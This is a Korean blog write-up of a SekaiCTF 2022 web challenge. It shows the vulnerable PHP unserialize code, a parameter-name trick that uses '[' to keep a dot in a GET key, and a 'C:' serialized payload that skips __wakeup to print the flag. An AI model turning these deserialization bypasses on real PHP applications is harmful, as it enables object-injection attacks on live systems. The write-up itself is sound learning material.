티스토리 뷰
문제 지문
Hey it's our Sekai Game – try to make it start!! Author: bwjy |
문제 풀이
문제 코드는 아래와 같습니다.
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}
?>
sekai_game.run 이라는 GET 파라미터를 받아서, 그 내용 값을 unserialize 함수에 넘겨주는 것으로 Flag값이 출력되도록 해야하는 문제입니다.
우선 첫번째로 sekai_game.run 이라는 이름의 GET 파라미터를 어떻게 받아와야하는지 고민해보게 됩니다.
PHP에서는 보통 파라미터로 . 이라는 문자가 들어오면 _(언더바)로 변경해버립니다.
https://www.php.net/manual/en/language.variables.external.php#81080
PHP: Variables From External Sources - Manual
This post is with regards to handling forms that have more than one submit button. Suppose we have an HTML form with a submit button specified like this: Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit
www.php.net
하지만 여러번 테스트해봤을 때 알게된 사실인데 그 중에서 신기하게도 [ (대괄호)가 들어오면 replace가 한번만 이루어집니다.
그 점을 이용해서 if(isset($_GET['sekai_game.run'])){ 이 코드의 결과 값을 True 로 설정할 수 있게 됩니다.
sekai game[run -> sekai_game_run sekai.game[run -> sekai_game_run ... sekai[game.run -> sekai_game.run (뭐지??!) |
그 다음으로는 이제 __wakeup 함수가 실행되지 않게 해야합니다. __wakeup 함수는 unserialize 함수가 실행될 때 자동으로 실행되는 함수입니다. 근데 어떻게 해야지 __wakeup 함수가 실행되지 않게 할 수 있을까요?
일단 구글링을 하지 않고 다양한 시도를 해보았습니다. 예를 들어 큰 문자열을 넣어서 overflow 가 읽어나게 한다던지, array를 넣어본다던지, type을 다양하게 변경해본다던지, 등등 여러 시도 끝에 결국 구글링이 답이다라는 생각과 함께 찾아보았더니 이런 글이 보였습니다.
https://bugs.php.net/bug.php?id=81151
PHP :: Bug #81151 :: bypass __wakeup
bugs.php.net
class 를 serialize 함수로 만들면 아래와 같이 Object 로 나옵니다.
<?php
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
$o = new Sekai_Game;
echo serialize($o); // O:10:"Sekai_Game":1:{s:5:"start";b:1;}
?>
주석 부분을 보면 O:10: .. 로 시작하는 부분이 보일겁니다. O 는 Object를 의미합니다.
근데 저기 사이트에 나온 대로 O가 아닌 C로 하게 되면 즉 Class로 인식하게 되면 정말 unserialize 함수가 실행되면서 __wakeup 함수를 수행하지 않게 됩니다.
<?php
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
unserialize('C:10:"Sekai_Game":0:{}');
?>
아래는 직접 위 코드를 php 로 실행해본 결과입니다.
┌──(vagrant㉿kali)-[/mnt/SekaiCTF2022/SekaiGameStart]
└─$ php -f unserialize.php
PHP Warning: Class Sekai_Game has no unserializer in /mnt/SekaiCTF2022/SekaiGameStart/unserialize.php on line 13
Sekai Game Start Here is your flag
정말 __wakeup 함수가 실행되지 않아서 start 값이 False가 되지 않았기 때문에 flag 내용이 출력되는 것을 알 수 있습니다.
이런 식으로 PHP의 여러 버그들을 활용해서 풀 수 있었던 문제입니다.
CTF 자체는 2일간 총 48시간 진행되었지만, 연휴가 껴있다보니 놀러가지 않을 수 없었고, 문제 풀이에 많은 시간을 할애할 수 없어서 많은 문제를 풀진 못했지만 단 두 문제만 풀었어도 정말 많은 내용을 배울 수 있었던 것 같습니다.
최근에 CTF를 이 말고도 더 나갔었지만, 어떤 CTF는 문제 풀이를 공개하지 말라고 했고, 어떤 곳에서는 대회 끝나자마자 바로 문제를 다 닫아버려서 풀이를 블로그에 올리지 못했어서 아쉬웠던 것 같습니다. 다행히 이번에는 대회가 끝나고도 열려있어서 연휴 끝나고도 여유 시간을 활용해서 글을 작성할 수 있었네요.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[CyberSecurityRumble] [Web] NUMBAZ (15 solves) (0) | 2022.10.12 |
---|---|
[WREKCTF] [Web] notes-3 (11 solves) (0) | 2022.10.05 |
[SekaiCTF] [Web] Bottle Poem (0) | 2022.10.04 |
[MapleCTF2022] [WEB] honksay Writeup(문제풀이) (0) | 2022.08.31 |
[SSTF] [Web] JWT Decoder Writeup(문제풀이) (0) | 2022.08.27 |